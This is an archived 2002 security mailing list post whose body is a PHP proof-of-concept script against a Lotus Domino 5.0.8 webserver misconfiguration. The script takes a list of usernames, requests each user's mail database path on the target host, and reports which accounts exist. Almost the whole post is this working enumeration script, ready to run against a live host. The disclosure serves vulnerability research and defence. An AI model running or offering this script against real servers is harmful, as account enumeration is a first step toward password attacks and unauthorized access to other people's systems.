Script to find domino's users
From: Gabriel A. Maggiotti (gmaggiot@ciudad.com.ar)Date: 01/31/02
- Previous message: Anthony Gruppuso: "RE: switch jamming"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Date: Thu, 31 Jan 2002 12:36:13 -0300 From: "Gabriel A. Maggiotti" <gmaggiot@ciudad.com.ar> To: vuln-dev@securityfocus.com
#!/usr/local/bin/php -q
<?
/*
Proof of Concepts Domino 5.0.8 webserver misconfiguration which could
allow
remote users to determine whether a give username exists on the
vulnerable
system.
By Gabriel A Maggiotti
*/
if( $argc!=4)
{
echo "usage: $argv[0] <host> <userlist> <delay>\n";
return 1;
}
$host=$argv[1];
$userlist=$argv[2];
$fd = fopen ($userlist, "r");
while (!feof ($fd)) {
$user = fgets($fd, 4096);
$fp = fsockopen ($host, 80 , &$errno, &$errstr, 30);
fputs ($fp, "GET /mail/$user.nsf HTTP/1.0\r\n\r\n");
while (!feof ($fp)) {
$sniff=fgets($fp,1024);
if(strpos($sniff,"200 OK")!="") {
echo "$user exists!!!\n";
break;
}
}
fclose ($fp);
sleep(3);
}
fclose ($fd);
?>
- Previous message: Anthony Gruppuso: "RE: switch jamming"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
